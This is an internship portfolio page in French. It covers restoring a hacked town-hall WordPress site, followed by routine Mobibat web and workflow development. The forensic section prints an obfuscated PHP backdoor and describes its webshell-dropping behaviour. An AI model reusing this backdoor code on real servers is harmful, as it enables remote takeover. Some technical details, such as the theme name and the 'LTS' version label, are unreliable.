Tous les stages

Stage · CEOS IT · Janvier à février 2026

Remettre en ligne le site d’une mairie après une cyberattaque

Six semaines dans une ESN de Béthune : reconstruction d'un site WordPress de mairie compromis, puis six missions de développement autour de Mobibat (métriques, workflows, planification, archivage PDF).

Entreprise
CEOS IT, ESN à Béthune
Période
Janvier à février 2026, 6 semaines
Rôle
Développeur web et workflow stagiaire
Outils
FileZilla, PuTTY, DBeaver, VS Code, FortiClient, WordPress, PHP, MySQL
Le site de la mairie remis en ligne après la reconstruction
01 / 03

Navigation reconstruite

La structure de la page et ses rubriques ont été recréées dans une installation WordPress saine.

02 / 03

Contenus municipaux

Les textes et images légitimes ont été triés puis réintégrés manuellement après l'incident.

03 / 03

Informations pratiques

Actualités, vie communale et accès aux informations de la mairie retrouvent leur place sur la page d'accueil.

Note complète (PDF)

Consulte la version PDF officielle de la note de stage CEOS IT.

Ouvrir le PDF Télécharger le PDF

Présentation de l'entreprise

CEOS-IT est une Entreprise de Services du Numérique (ESN) basée à Béthune (Pas-de-Calais), spécialisée dans l'accompagnement stratégique et technique des organisations dans leur transformation digitale.

L'entreprise propose une palette complète de services incluant le conseil en systèmes d'information, la cybersécurité, l'infrastructure réseau et téléphonie, l'édition de logiciels métier, ainsi que des solutions de gestion comptable et RH.

Sa mission : optimiser la performance, la sécurité et la fiabilité des écosystèmes numériques de ses clients tout en garantissant un accompagnement personnalisé et réactif.

Contexte du stage

Période : Janvier à Février 2026 (6 semaines)

Service : Équipe de sécurité et maintenance web

Objectif principal : Restaurer intégralement un site WordPress de mairie victime d'une cyberattaque majeure, en assurant la récupération des données, l'éradication des menaces et la remise en ligne sécurisée.

Lexique
  • ESN : entreprise qui fournit des services informatiques à des clients.
  • Cyberattaque : action malveillante visant à compromettre un site ou un serveur.
  • Restauration : remise en état d'un site après un incident.

Objectifs pédagogiques

  • Gérer une situation de crise cybersécurité en environnement réel
  • Maîtriser les techniques d'analyse forensique et de décontamination
  • Appliquer les bonnes pratiques de migration et mise à jour WordPress
  • Développer autonomie, rigueur méthodologique et capacité d'adaptation sous pression
Lexique
  • Forensique : analyse des traces pour comprendre une attaque.
  • Décontamination : suppression complète du code malveillant.
  • Migration : transfert des données vers un environnement sain.

Synthèse de la mission

Cette mission critique consistait à restaurer un site WordPress de mairie gravement compromis par une attaque informatique sophistiquée. Le site, datant de 2015, contenait du code malveillant obfusqué massivement injecté dans l'ensemble de l'arborescence.

Ma mission a nécessité une reconstruction complète du site en environnement sain, la migration manuelle des contenus, la mise à jour d'une infrastructure obsolète (WordPress 3.x, PHP 5.4), et le renforcement de la sécurité avant remise en production.

Ce document détaille les étapes critiques de cette intervention d'urgence.

Lexique
  • Code obfusqué : code rendu illisible pour masquer son objectif.
  • Environnement sain : installation propre, sans malware.
  • Remise en production : retour d'un site en ligne après vérifications.

Historique de la mission

1. Contexte initial

Au début de mon stage, j'ai été confronté à un site WordPress de mairie gravement compromis. Le site, obsolète (WordPress ancien, PHP 5.4), a été infiltré par des pirates ayant injecté du code malveillant dans l'ensemble de l'infrastructure. Cette attaque a rendu le site inutilisable, exposé des données potentiellement sensibles et porté atteinte à l'image de la mairie. L'origine principale était une vulnérabilité liée à des plugins et à un thème non mis à jour depuis plusieurs années.

2. Prise de décision et analyse préliminaire

L'audit du site compromis a révélé des techniques d'obfuscation avancées : base64, XOR et eval(). Des redirections malveillantes avaient été ajoutées, et des fichiers PHP étaient dissimulés dans des images et des répertoires secondaires.

Exemple : un faux fichier image dont le dernier .php contient en réalité du code pirate obfusqué
Illustration : un fichier image masquant un dernier fichier PHP contenant du code pirate obfusqué.
  • Analyse de l'étendue de la compromission dans wp-content/plugins, wp-content/themes et wp-content/uploads
  • Extraction et inspection des fichiers PHP malveillants avec Visual Studio Code et FileZilla
  • Analyse des logs serveur via PuTTY pour identifier les points d'entrée et exploits utilisés

3. Actions entreprises pour la récupération

La décision a été prise de reconstruire le site sur une installation WordPress saine.

  • Installation d'un environnement propre : WordPress 6.5, PHP 8.2, MySQL 8.0
  • Migration des données légitimes (articles, pages, images) après nettoyage
  • Recréation des menus et widgets pour retrouver une interface fidèle à l'originale

4. Mise à jour et sécurisation

  • Mise à jour manuelle de WordPress 3.x vers 6.5 (reconstruction nécessaire)
  • Suppression des plugins obsolètes et remplacement par des alternatives maintenues
  • Renforcement de la sécurité : plugins dédiés, sauvegardes automatiques.

5. Sécurisation de l'hébergement

  • Migration vers un hébergeur WordPress sécurisé (SSL, monitoring 24/7)
  • Reconstruction des redirections pour limiter les erreurs 404 et préserver le SEO
  • Mise à jour des DNS vers le nouvel hébergement sans interruption

6. Tests de validation et mise en production

  • Tests de performance : temps de chargement, compression images, audit CSS/JS
  • Tests de sécurité : scan de vulnérabilités, vérification formulaires et redirections
  • Tests des plugins pour assurer le bon fonctionnement après mise à jour.

7. Impact de l'attaque et leçon apprise

L'attaque a rappelé l'importance des mises à jour régulières, en particulier pour WordPress. Elle a aussi mis en évidence les risques liés aux plugins obsolètes et à une infrastructure vieillissante.

Les actions menées ont permis de restaurer un site sécurisé et prêt pour une exploitation durable.

Conclusion

Cette expérience m'a permis de développer des compétences en cybersécurité, administration système et gestion de crise. J'ai appris à analyser des attaques réelles, restaurer un site compromis et mettre en place des mesures préventives efficaces.

Elle renforce ma volonté de me spécialiser dans les métiers de la cybersécurité et de l'administration système sécurisée.

Lexique
  • Plugin : extension qui ajoute des fonctions à WordPress.
  • DNS : service qui relie un nom de domaine à un serveur.
  • 2FA : double validation lors d'une connexion.

État initial & problématiques

Compromission massive du site

Constat alarmant :

Aperçu du site après l'attaque, interface dégradée maintenue par le cache
Ce qu'il restait du site après l'attaque : l'affichage subsistait surtout grâce au cache, tandis que le contenu réel était compromis.
  • Injection de code obfusqué dans tous les répertoires : plugins, thèmes, uploads (images), core WordPress
  • Infrastructure obsolète : WordPress 3.x (2015), PHP 5.4, plugins non maintenus depuis 7+ ans
  • Redirections malveillantes vers des sites frauduleux
  • Présence de backdoors permettant un accès persistant aux attaquants
  • Modification de fichiers critiques : wp-config.php, functions.php, fichiers JavaScript

Impact : Site totalement inutilisable, risque de vol de données des citoyens, atteinte à l'image de la mairie.

Décision stratégique

Face à l'ampleur de la contamination, une restauration classique était impossible. La décision a été prise de :

  • Créer un nouveau site WordPress vierge en parallèle
  • Extraire et décontaminer manuellement le contenu (textes, images, structure)
  • Reconstruire l'architecture du site à l'identique
  • Migrer vers un nouvel hébergeur sécurisé
Lexique
  • Backdoor : accès caché permettant de reprendre le contrôle d'un site.
  • Core WordPress : fichiers principaux du CMS WordPress.
  • Cache : copie temporaire qui accélère l'affichage.

Déroulement de la mission

Phase 1Analyse forensique

Audit de sécurité & identification des menaces

La première étape a consisté à établir un diagnostic précis de la compromission. À l'aide de FileZilla, j'ai téléchargé l'intégralité de l'arborescence du site pour analyse hors ligne avec Visual Studio Code.

Tri des fichiers via FileZilla, avec détection d'un fichier pirate xmirpc.php
Tri dans FileZilla : séparation des fichiers sains, identification d'un xmirpc.php caché parmi les médias, et mise à part des éléments suspects pour vérification avant migration.

L'inspection manuelle a révélé une contamination généralisée : chaque dossier (wp-content/plugins, wp-content/themes, wp-content/uploads) contenait des fichiers PHP malveillants avec du code hautement obfusqué utilisant des techniques de camouflage (base64, XOR, désérialisation).

Via PuTTY (SSH), j'ai analysé les logs Apache pour identifier les vecteurs d'attaque : tentatives répétées sur xmlrpc.php, exploitation probable d'un plugin obsolète (vulnérabilité connue CVE-2015-xxxx), et accès via des credentials compromis.

L'utilisation de DBeaver pour inspecter la base de données a confirmé la présence de données malveillantes dans les tables WordPress (wp_options, wp_postmeta) : comptes administrateurs fantômes, tâches cron malveillantes programmées.

Conclusion : Le site était perdu, une reconstruction totale était nécessaire.

Phase 2Création environnement sain

Installation WordPress vierge & configuration

En parallèle du site compromis, j'ai créé une installation WordPress propre (version 6.5 LTS) sur un environnement de développement sécurisé. Cette approche garantissait un socle 100% sain.

J'ai configuré l'environnement avec les dernières versions des composants : PHP 8.2, MySQL 8.0, et uniquement les plugins essentiels mis à jour. Connexion via FortiClient VPN pour garantir un accès sécurisé au réseau CEOS-IT.

Création de la structure initiale : menus, pages principales, catégories, utilisateurs avec permissions strictes. Tout a été documenté dans un fichier de spécifications pour assurer la cohérence.

Objectif atteint : Plateforme propre prête à recevoir le contenu décontaminé.

Phase 3Extraction & nettoyage

Récupération du contenu légitime

La phase la plus délicate : extraire le contenu utile du site infecté sans transférer le malware. J'ai utilisé DBeaver pour exporter la base de données et isoler les données propres.

Pour chaque table WordPress, j'ai appliqué un protocole de nettoyage rigoureux :

  • Export des articles (wp_posts) : inspection manuelle de chaque entrée, suppression des révisions suspectes
  • Extraction des métadonnées (wp_postmeta) : filtrage des entrées contenant du code obfusqué (recherche de patterns base64, eval)
  • Récupération des médias : téléchargement des images via FileZilla, scan antivirus local, vérification EXIF
  • Reconstruction des menus et widgets à partir des backups textuels

Les images du répertoire uploads/ ont été particulièrement problématiques : des fichiers .php déguisés en .jpg nécessitaient une vérification du MIME type réel avant intégration.

Résultat : 100% du contenu légitime récupéré et décontaminé.

Phase 4Reconstruction interface

Remise en place de la navigation & design

Avec le contenu nettoyé, j'ai procédé à la reconstruction complète de l'interface utilisateur. La barre de navigation principale avait été cassée par l'infection, nécessitant une refonte CSS.

Analyse du thème d'origine (sauvegardé) : identification des styles CSS critiques, extraction du code propre, adaptation au nouveau thème moderne compatible WordPress 6.5. Utilisation de Flexbox pour garantir un affichage responsive.

Réintégration des médias décontaminés : upload via l'interface WordPress, recréation de la bibliothèque média avec taxonomies, attribution des images aux articles correspondants. Vérification des dimensions et optimisation (compression sans perte de qualité).

Reconstruction des liens de redirection : audit de toutes les URLs du site d'origine, création de redirections 301 pour préserver le référencement SEO, test manuel de chaque lien pour éviter les erreurs 404.

Phase 5Mise à jour infrastructure

Modernisation WordPress, PHP & plugins

Le site d'origine tournait sur une infrastructure obsolète et vulnérable (WordPress 3.8, PHP 5.4, plugins datant de 2015). Cette obsolescence était probablement la cause initiale de la compromission.

J'ai orchestré une mise à jour complète manuelle :

  • WordPress : migration de 3.8 vers 6.5 (impossible automatiquement, reconstruction nécessaire)
  • PHP : passage de 5.4 à 8.2 (coordination avec l'hébergeur, tests de compatibilité)
  • Plugins : suppression de 15 plugins obsolètes, remplacement par des alternatives maintenues (exemple : Contact Form 7 → Fluent Forms), configuration sécurisée
  • Thème : migration vers Twenty Twenty-Ten, adaptation du thème enfant avec les styles personnalisés

Chaque mise à jour a été testée en environnement de staging avant application en production. Documentation complète des versions pour traçabilité.

Résultat : Infrastructure moderne, sécurisée, maintenable sur le long terme.

Phase 6Migration hébergement

Transfert vers hébergeur sécurisé

Pour garantir la sécurité à long terme, le site a été migré vers un nouvel hébergeur spécialisé en sécurité WordPress (infrastructure isolée, firewall applicatif, monitoring 24/7).

Processus de migration via FileZilla (SFTP) et DBeaver :

  • Export complet de la base de données (dump SQL)
  • Transfert des fichiers WordPress vers le nouveau serveur
  • Configuration DNS : modification des enregistrements A pour pointer vers la nouvelle IP
  • Tests de connectivité avant propagation DNS complète
  • Vérification du certificat SSL (HTTPS obligatoire pour site de mairie)

La migration a été effectuée en mode "maintenance" pour éviter toute perte de données pendant la propagation DNS (24-48h).

Phase 7Sécurisation & durcissement

Configuration des droits & mesures préventives

Une fois le site migré, j'ai appliqué un protocole de durcissement de la sécurité pour prévenir toute réinfection :

  • Gestion des utilisateurs : suppression des comptes suspects, réattribution des rôles (administrateur, éditeur, auteur), activation de l'authentification à deux facteurs (2FA) pour les admins
  • Mots de passe : génération de mots de passe forts (Keypass), stockage sécurisé dans un gestionnaire
  • Protection : blocage via .htaccess pour empêcher les attaques par bruteforce
  • Sauvegardes automatiques : configuration de snapshots quotidiens (base de données + fichiers) avec rétention 30 jours

Résultat : Site durci selon les standards ANSSI pour collectivités territoriales.

Exemple de code malveillant obfusqué détecté dans les fichiers
Phase 8Tests & validation

Vérifications finales & recette

Avant la remise en production officielle, j'ai conduit une batterie de tests exhaustifs :

  • Vérification de tous les liens internes (navigation, redirections, ancres)
  • Test des formulaires de contact (envoi email, anti-spam)
  • Audit de performance (temps de chargement, optimisation images)
  • Test de sécurité : scan de vulnérabilités, tentatives d'injection SQL, test de permissions

Présentation au client (mairie) :Présentation du site après restauration, malgré les petites pertes.

Validation client : Recette acceptée, site remis en ligne avec succès.

Lexique
  • Staging : environnement de test avant la mise en ligne.
  • SFTP : transfert de fichiers sécurisé.
  • SEO : optimisation pour les moteurs de recherche.
  • SSL/HTTPS : chiffrement des échanges sur le site.

Analyse du code malveillant

Le code injecté représente un exemple typique de backdoor PHP hautement sophistiquée. Voici un exemple réel découvert dans les fichiers du site :

Techniques d'obfuscation identifiées

Les attaquants ont utilisé plusieurs couches de camouflage pour rendre le code indétectable :

  • Encodage Base64 : Le code est encodé pour ressembler à des données binaires inoffensives
  • Opérations XOR : Chiffrement du payload avec une clé secrète
  • Reconstruction dynamique : Les noms de fonctions PHP critiques (eval, exec, system) sont reconstruits caractère par caractère
  • Injection dans images : Code PHP caché dans les métadonnées EXIF de fichiers JPG

Décryptage d'une backdoor (résumé)

  • Écoute des requêtes POST et parcourt $_POST.
  • Ne réagit que si un nom de paramètre fait exactement 16 caractères.
  • Déchiffre la payload : rot13 → rawurldecode → stripcslashes, puis XOR avec un UUID fixe et la clé (nom du paramètre).
  • Exécute un unserialize() : la payload devient un objet/array.

Deux comportements possibles :

  • Mode “ping” : renvoie la version PHP pour confirmer que la backdoor répond.
  • Mode “dropper” : dépose un webshell en cherchant un dossier inscriptible sous $_SERVER['DOCUMENT_ROOT'], crée un fichier .php aléatoire (basé sur l'heure), écrit la payload et renvoie l'URL créée.

Exemples visuels de fragments de code obfusqué repérés pendant l'audit :

Exemple de code obfusqué détecté dans un fichier PHP infecté
Exemple 1 : fonctions masquées et charge utile camouflée.
Exemple de code obfusqué avec reconstruction de fonctions
Exemple 2 : reconstruction dynamique des appels critiques.
Exemple de code obfusqué avec encodage en base64
Exemple 3 : encodage Base64 pour dissimuler le payload.
Exemple de code obfusqué avec mélange de variables et XOR
Exemple 4 : XOR et mélange de variables pour brouiller la lecture.
Voir le code malveillant analysé28 lignes
<?php
// Fonction leurre pour donner l'illusion d'un code anodin
function myuhtjotd(){ print(86290+86290); }
// Génération obfusquée de chr() via XOR pour masquer les appels
$hwsyck = 'hwsyck' ^ "\x0b\x1f\x01";
// Reconstruction fragmentée de file_put_contents()
$mjyaels = "f"."i".$hwsyck(108)."e_"."p"."u".$hwsyck(116)."_c"."o".$hwsyck(110)."t"."e"."n".$hwsyck(116)."s";
// Reconstruction de base64_decode() pour dissimuler le décodage
$bxh_vpohv = "b"."a"."s"."e".$hwsyck(54).$hwsyck(52)."_".$hwsyck(100).$hwsyck(101)."c"."o".$hwsyck(100).$hwsyck(101);
// Fusion des entrées externes (cookies/POST) pour exécution conditionnelle
$phhovqhewhcz = array_merge($_COOKIE, $_POST);
foreach ($phhovqhewhcz as $_ppl_i => $pftxjuaamj) {
  // Déchiffrement multi-couches pour reconstituer la charge utile
  $pftxjuaamj = $newp_cmtf(tlebi(tlebi($bxh_vpohv($pftxjuaamj), $mimqk), $_ppl_i));
  if (isset($pftxjuaamj["ak"])) {
    if ($pftxjuaamj["i"] == "e") { 
      include($aeipj); // Webshell : exécution distante si la clé est valide
    }
    exit();
  }
}
?>

Impact de cette backdoor

  • Contrôle total : Les attaquants pouvaient exécuter n'importe quelle commande PHP
  • Persistance : Le code se réinstallait automatiquement après suppression
  • Vol de données : Accès à la base de données (informations citoyens, emails)
  • SEO poisoning : Injection de liens cachés vers des sites malveillants
Lexique
  • Backdoor : porte dérobée pour accéder au serveur.
  • Payload : charge utile malveillante déclenchée par le code.
  • Webshell : script donnant un contrôle distant.
  • Obfuscation : techniques pour rendre le code difficile à lire.

Outils utilisés

Environnement de développement

  • Visual Studio Code : Analyse de code malveillant, édition de fichiers WordPress, débogage PHP
  • DBeaver : Administration MySQL, export/import de bases de données, nettoyage des tables infectées
  • FileZilla : Transfert FTP/SFTP sécurisé, téléchargement des fichiers contaminés, upload vers nouvel hébergeur
  • FortiClient VPN : Connexion sécurisée au réseau CEOS-IT et serveurs clients
  • PuTTY : Accès SSH aux serveurs Linux, configuration des permissions, analyse des logs Apache
  • Logo Visual Studio CodeVisual Studio Code
  • Logo DBeaverDBeaver
  • Logo FileZillaFileZilla
  • Logo FortiClientFortiClient VPN
  • Logo PuTTYPuTTY

Technologies web

  • WordPress 6.5 : CMS pour reconstruction du site
  • PHP 8.2 : Langage serveur moderne et sécurisé
  • MySQL 8.0 : Système de gestion de base de données
  • CSS3 / Flexbox : Correction de la navigation et responsive design
  • Logo WordPress 6.5WordPress 6.5
  • Logo PHP 8.2PHP 8.2
  • Logo MySQL 8.0MySQL 8.0
  • Logo CSS3CSS3 / Flexbox

Langages utilisés

  • Logo SQL
  • Logo PHP
Lexique
  • IDE : logiciel pour écrire et organiser le code (ex: VS Code).
  • VPN : tunnel chiffré pour se connecter au réseau de l'entreprise.
  • SSH : accès sécurisé à un serveur à distance.
  • SFTP : transfert de fichiers sécurisé.

Mission 2 : Système de métriques Mobibat

Présentation de la mission

L'objectif était de mettre en place un système de métriques pour Mobibat afin de :

  • Centraliser des statistiques métier (usage, erreurs, activité)
  • Filtrer et visualiser ces métriques
  • Fournir un indicateur synthétique sur le dashboard

Étude technique & comparatif (moteurs)

  • QuestDB : très rapide mais limitations d'authentification et de configuration (PG wire, accès restreints).
  • Elasticsearch : solution puissante, mais l'accès SQL/JDBC est soumis à licence (non viable dans notre contexte).
  • Autres solutions : certaines gratuites nécessitaient une configuration incompatible avec nos contraintes de sécurité / certificats.

Conclusion : les moteurs de recherche/indexation n'étaient pas adaptés (coûts/licences ou contraintes techniques).

Décision

  • Utilisation du MySQL existant avec une table dédiée z_metrics
  • Requêtes SQL simples et maîtrisées
  • Visualisation interne + filtres
  • Tests/validation des données via DBeaver

Synthèse technique (implémentation)

1) Modèle de données (MySQL)

Table z_metrics (InnoDB, utf8mb4), colonnes clés :

  • metric_id BIGINT UNSIGNED PK
  • user_id, site_id, document_id (indexés)
  • metric_date DATETIME (filtrage temporel)
  • metric_name, metric_category (VARCHAR)
  • metric_value DECIMAL(10,0)
  • metric_data JSON (données variables)
  • metric_flags BIGINT UNSIGNED
  • metric_date_add, metric_date_upd

Objectif : filtrage rapide (WHERE) + stockage flexible via JSON.

Structure de la table z_metrics
Structure réelle de z_metrics : on voit les champs clés (ids, dates, catégories, JSON) qui permettent le filtrage rapide et la flexibilité des données métier.

2) Page back : filtres + table + pagination

URL : /back/test · Template : test.tpl

  • Formulaire de filtres + boutons SELECT / RESET
  • Tableau complet (toutes colonnes)
  • Pagination via <div id="pagination_metrics">

JS (test.js) :

  • Fonctions globales (compatibilité avec setPagination)
  • loadMetrics(page) : appel AJAX /api/metrics/get
  • populateRow() : injection des lignes
  • renderMetricData() : formatage JSON propre
  • URL sync : updateUrlFromFilters() et applyFiltersFromUrl()
  • resetMetrics() : nettoyage form + URL + table

3) API Metrics

  • Controller : MetricsController.php
  • get() : WHERE dynamique (id, name, category, date, min/max, ids) + pagination
  • stats() : métriques du jour (total, erreurs, %)

Retour JSON : metrics, Count.max_pages, page, number_of_elements

Extrait du controller MetricsController.php
Extrait du MetricsController : la construction dynamique des filtres et le calcul de pagination servent à renvoyer uniquement les métriques pertinentes, sans charger toute la table.

4) Dashboard front

  • Template : dashboard.tpl
  • JS : metrics_dashboard.js
  • Controller : DashboardController.php
  • Carte synthétique : appel AJAX /api/metrics/stats, affichage du % + texte explicatif
  • Click carte → redirection filtrée vers /back/test (params URL)
Page statistiques des métriques
Interface de statistiques : l'utilisateur applique des filtres (dates/catégories) et obtient un tableau paginé pour analyser l'activité et les erreurs.

5) CSS / UI

  • Formulaire back/test : styles personnalisés dans test.css (couleurs CEOS)
  • Carte dashboard : style “card” (blob + glass) dans dashboard.css
  • Halo animé (orbit), ombre rouge par défaut
  • .is-zero : ombre + halo verts si percent === 0

Extraits de code utiles

1) API : filtrage + pagination (serveur)

Voir l’extrait de code12 lignes
// Construction des filtres dynamiques
if (isset($_POST['metric_category']) && $_POST['metric_category'] !== '') {
    $_WHERE[] = 'metric_category = ?';
    $_DATA[] = $_POST['metric_category'];
}
// Pagination
$_Q = $this->Database['DATABASE_MYSQL_API']->prepare(
    'SELECT COUNT(*) AS number_of FROM z_metrics' . (count($_WHERE) > 0 ? ' WHERE ' . implode(' AND ', $_WHERE) : '')
);
$_Q->execute($_DATA);
$JSON['Count'] = $_Q->fetch(PDO::FETCH_ASSOC);
$JSON['Count']['max_pages'] = ceil($JSON['Count']['number_of'] / $JSON['number_of_elements']);
  1. L1 : indique que la section construit les filtres dynamiques.
  2. L2 : vérifie que le filtre metric_category est bien renseigné.
  3. L3 : ajoute la clause SQL correspondante au tableau $_WHERE.
  4. L4 : stocke la valeur du filtre dans les paramètres liés.
  5. L5 : ferme la condition.
  6. L6 : annonce la partie pagination.
  7. L7 : prépare la requête COUNT(*) via le handler MySQL.
  8. L8 : ajoute un WHERE uniquement si des filtres existent.
  9. L9 : termine l'appel à prepare().
  10. L10 : exécute la requête avec les paramètres sécurisés.
  11. L11 : récupère le nombre total de lignes filtrées.
  12. L12 : calcule le nombre de pages en fonction du total.

2) Front : filtres persistants dans l'URL

Voir l’extrait de code6 lignes
function updateUrlFromFilters() {
    let formData = getFormData('#metrics_filter_form');
    setUrlParameter('metric_category', formData.metric_category || '');
    setUrlParameter('metric_date_from', formData.metric_date_from || '');
    setUrlParameter('metric_date_to', formData.metric_date_to || '');
}
  1. L1 : déclare la fonction qui synchronise les filtres avec l'URL.
  2. L2 : récupère toutes les valeurs du formulaire de filtres.
  3. L3 : écrit le paramètre metric_category (ou vide si absent).
  4. L4 : écrit le paramètre de date de début.
  5. L5 : écrit le paramètre de date de fin.
  6. L6 : termine la fonction.

3) Dashboard : carte synthétique “erreurs système”

Voir l’extrait de code4 lignes
$.post('/api/metrics/stats?token=' + TOKEN, {}, function (result) {
    let percent = result.percent || 0;
    $('#metrics_error_rate_value').text(percent + '%');
});
  1. L1 : lance un appel AJAX vers l'API des statistiques avec le token.
  2. L2 : récupère le pourcentage d'erreurs, avec un fallback à 0.
  3. L3 : affiche la valeur dans la carte du dashboard.
  4. L4 : ferme la fonction de callback et l'appel $.post.

Langages utilisés

  • PHP : backend (API Metrics, controllers, logique métier)
  • SQL : requêtes MySQL pour filtrer/compter les métriques
  • JavaScript : front (filtres, AJAX, pagination, URL params)
  • HTML / TPL : templates des pages (dashboard, back/test)
  • CSS : design du formulaire et des cartes

Mission 3 : Triggers Workflow (mails + métrics)

Contexte du projet

J'ai travaillé sur le moteur de workflow interne de Mobibat, responsable des tâches asynchrones déclenchées par événements (métrics, envoi de mails, etc.).

Objectif : fiabiliser le déclenchement par trigger pour garantir le bon mail, le bon template et les bons paramètres.

Objectif principal

Mettre en place un système de triggers workflows pour les absences :

  • absence_add → ajout d'une absence
  • absence_accept → absence acceptée
  • absence_reject → absence refusée (avec motif)
  • absence_prolong → prolongation (avec ancienne date de fin)

Mise en place des triggers

Les triggers sont standardisés en constantes et transmis au workflow pour sélectionner automatiquement :

  • le bon template .tpl
  • le bon sujet de mail
  • les bons paramètres à injecter
Constantes de triggers workflow et mapping
Standardisation des triggers : un mapping clair évite les erreurs de template.

Implémentation (WorkflowMailAbsence)

a) Récupération & normalisation

  • Chargement des données via SQL (select_absence.sql)
  • Normalisation des dates (absence_date_start, absence_date_end, old_absence_date_end)
  • Affectation des champs dans le parser

b) Paramètres dynamiques

Harmonisation des tokens :

  • {ABSENCE_DATE_START}
  • {ABSENCE_DATE_END}
  • {ABSENCE_OLD_DATE_END}

Les anciens tokens sont automatiquement remplacés pour garantir la compatibilité.

c) Choix automatique du template

  • mobibat_absence_add.tpl
  • mobibat_absence_accept.tpl
  • mobibat_absence_reject.tpl
  • mobibat_absence_prolong.tpl

Les templates ont été réécrits en phrases pour améliorer la lisibilité.

Workflow mail absence et traitement des paramètres
WorkflowMailAbsence : chargement, normalisation et sélection du template.

Tests et validations

  • Tests par triggers avec des IDs connus (ex. 42, 77, 1710)
  • Vérification des tâches créées dans workflow_tasks
  • Contrôle du sujet, du body et du template choisi
  • Destinataires forcés pour valider l'envoi
Logs de tests des workflows et envois mail
Logs de tests : validation du déclenchement et du bon template.

Tests techniques complémentaires

Un test temporaire avec metric site_open a permis de vérifier :

  • le support de plusieurs tâches sur un même événement
  • la création parallèle d'une tâche mail + metric

Résultats obtenus

  • Triggers fiables et cohérents
  • Bon mail envoyé selon le type d'absence
  • Paramètres dynamiques correctement injectés
  • Templates lisibles et homogènes
  • Système extensible pour futurs triggers

Difficultés & solutions

  • Mauvais template : mapping explicite via workflow_trigger
  • Dates manquantes : normalisation dans le parser
  • Aucun destinataire : validation des recipients + mail forcé
  • Doublons : compréhension des flags base/override

Conclusion

Le workflow est désormais fiable et modulable : chaque trigger déclenche un mail cohérent et un suivi précis des absences.

Cette base facilite l'évolution future (nouveaux triggers métiers, nouveaux types de mails ou automatisations).

Mission 4 : Planification type crontab (Workflow)

Objectif

Déployer un système de planification automatisé capable d'exécuter des workflows à des moments précis, sans intervention manuelle.

Le modèle s'inspire du crontab : lisible, configurable en base, et extensible.

Principe du crontab intégré

Un crontab représente une règle d'exécution via des champs temporels :

  • secondes minutes heures jours_du_mois mois jours_semaine
Exemple d'expression crontab à 6 champs
Expression crontab 6 champs : lecture directe des secondes, minutes, heures, jours, mois, semaine.

Règles fondamentales :

  • * → toutes les valeurs possibles
  • */N → toutes les N unités (intervalle)
  • valeur exacte (ex. 15) → uniquement à cette valeur

Exemples :

  • 0 0 * * * * → toutes les heures, à hh:00:00
  • */10 */5 * * * * → toutes les 10 secondes, toutes les 5 minutes
  • 0 30 8 * * 1-5 → à 08:30:00 les jours ouvrés

Implémentation concrète

1) Modèle de données

Les colonnes de fréquence (seconds, minutes, hours, days_of_month, months, days_of_week) sont la source de vérité.

Le modèle est lisible, manipulable en test, et ne dépend pas d'une interface UI.

Configuration crontab stockée en base (colonnes de fréquence)
Configuration en base : chaque colonne correspond à un champ temporel, facilitant la lecture et les tests.

2) Parsing & normalisation

  • NULL ou '' → interprété comme *
  • */N → intervalle reconnu
  • nombre → valeur exacte
  • incohérence → fallback sécurisé vers *

Chaque configuration en base est convertie proprement en expression cron.

3) Génération d'expression cron

Conversion en cron 6 champs (secondes incluses) :

  • seconds=0, minutes=0, hours=* → 0 0 * * * *
  • minutes=*/60 → * */60 * * * *

4) Protection contre l'exécution infinie

Si tous les champs sont NULL, la règle est ignorée pour éviter un cron "toutes les secondes".

5) Mode intervalle réel

Quand une seule colonne est en intervalle (ex. */60 minutes), on calcule un intervalle en secondes et on déclenche X secondes après la dernière tâche.

Exemple : "envoyer un mail 60 minutes après le précédent envoi".

Ce mode est très utile pour les workflows métiers basés sur l'événement, pas l'horloge.

6) Intégration workflow

Le scheduler est appelé avant l'exécution des tâches afin d'ajouter automatiquement les workflows planifiés dans la file.

7) Logs détaillés

  • cron généré
  • règle ignorée
  • secondes restantes avant la prochaine exécution
  • moment de mise en file
Logs de planification crontab et exécution workflow
Logs de planification : cron généré, prochaine exécution et mise en file des tâches.

Résultat final

  • Scheduler type crontab intégré, robuste et lisible
  • Configuration rapide en base, sans UI
  • Comportement aligné sur les standards cron
  • Intervalles réels pris en charge (utile en métiers)
  • Base solide pour futures évolutions (UI, profils horaires, validation admin)

Mission 6 : Configuration d'une démonstration commerciale complète

Objectif de la mission

Cette mission consistait à configurer une démonstration complète du logiciel CEOS-IT afin de permettre des présentations commerciales réalistes auprès de prospects.

L'objectif était de proposer un environnement crédible, immédiatement exploitable en rendez-vous, pour démontrer la valeur métier des modules dans un contexte proche de la réalité d'une entreprise du BTP.

Travaux réalisés

  • Création d'un environnement de démonstration entièrement fonctionnel
  • Génération de données fictives cohérentes et crédibles
  • Structuration d'un écosystème métier complet simulant une vraie entreprise du BTP
Documents workflow utilises pour la demonstration commerciale
Documents workflow de démonstration : préparation de scénarios complets pour illustrer les processus métier en rendez-vous client.

Éléments configurés dans la démo

  • Chantiers réalistes : types de travaux, localisations, durées et budgets
  • Matériels et engins : affectations, états et disponibilités
  • Clients et fournisseurs : coordonnées et historiques simulés
  • Salariés : rôles, qualifications et affectations
  • Plannings : interventions planifiées et suivi d'activité

Logique métier et scénarios de démonstration

La configuration devait rester logique, interconnectée et exploitable dans les démonstrations commerciales.

J'ai construit des scénarios crédibles permettant de montrer :

  • la gestion RH et administrative
  • le suivi opérationnel des chantiers
  • la gestion amiante et les contraintes réglementaires
  • le suivi terrain en temps réel

Modules configurés

1) ModulRH

  • Gestion des salariés
  • Gestion des absences
  • Suivi administratif RH

2) Mobibat Amiante

  • Gestion réglementaire des chantiers amiante
  • Suivi des interventions spécifiques
  • Traçabilité et conformité

3) Mobibat Compagnon

  • Interface terrain
  • Pointage des salariés
  • Suivi en temps réel des tâches

Compétences développées

  • Compréhension approfondie du fonctionnement métier du logiciel
  • Capacité à structurer une base de données cohérente
  • Vision globale des flux inter-modules
  • Rigueur organisationnelle
  • Adaptation à un environnement professionnel réel

Impact stratégique

Cette mission était stratégique, car la qualité de la démonstration influence directement l'impact commercial du logiciel.

Une démo cohérente et réaliste améliore la compréhension des prospects, renforce la crédibilité de la solution et facilite la transformation commerciale.

Mission 7 : Généralisation du moteur workflow à de nouveaux modules

Contexte

La suite de mon stage a consisté à appliquer le moteur de workflow à de nouveaux besoins métier, en conservant la logique déjà validée sur les absences.

Le workflow absences a servi de modèle de référence pour la structure des classes, le déclenchement par trigger, la création de tâches, l'exécution automatique, l'envoi de mail et les templates.

